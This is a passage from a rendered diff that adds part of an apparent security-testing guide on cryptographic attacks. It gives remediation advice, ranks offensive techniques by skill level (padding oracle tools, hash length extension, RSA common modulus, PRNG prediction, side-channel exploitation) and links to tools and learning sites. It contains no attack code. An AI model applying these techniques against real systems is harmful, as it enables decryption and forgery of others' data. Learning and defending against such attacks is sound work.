+
- Use AES-GCM (authenticated encryption) instead of AES-CBC
|
|
325
|
+
- If CBC required: add HMAC-SHA256 authentication before decryption
|
|
326
|
+
- Ensure all decryption failures return identical responses
|
|
327
|
+
- Implement constant-time comparison for all token validation
|
|
328
|
+
```
|
|
329
|
+
|
|
330
|
+
---
|
|
331
|
+
|
|
332
|
+
## Skill Levels
|
|
333
|
+
|
|
334
|
+
**BEGINNER:** Run padbuster/padding oracle tools, use hashid for hash identification, CyberChef for encoding analysis
|
|
335
|
+
|
|
336
|
+
**INTERMEDIATE:** ECB cut-and-paste attacks, hash length extension with hashpump, timing attack measurement
|
|
337
|
+
|
|
338
|
+
**ADVANCED:** Custom padding oracle scripts, RSA common modulus attack, weak PRNG prediction
|
|
339
|
+
|
|
340
|
+
**EXPERT:** Full cryptographic protocol analysis, custom cipher reverse engineering, side-channel exploitation
|
|
341
|
+
|
|
342
|
+
---
|
|
343
|
+
|
|
344
|
+
## References
|
|
345
|
+
|
|
346
|
+
- PadBuster: https://github.com/AonCyberLabs/PadBuster
|
|
347
|
+
- hashpumpy: https://github.com/bwall/HashPump
|
|
348
|
+
- CryptoHack (learning): https://cryptohack.org
|
|
349
|
+
- Cryptopals challenges: https://cryptopals.com
|
|
350
|
+
- MITRE T1600: https://attack.mitre.org/techniques/T1600/
|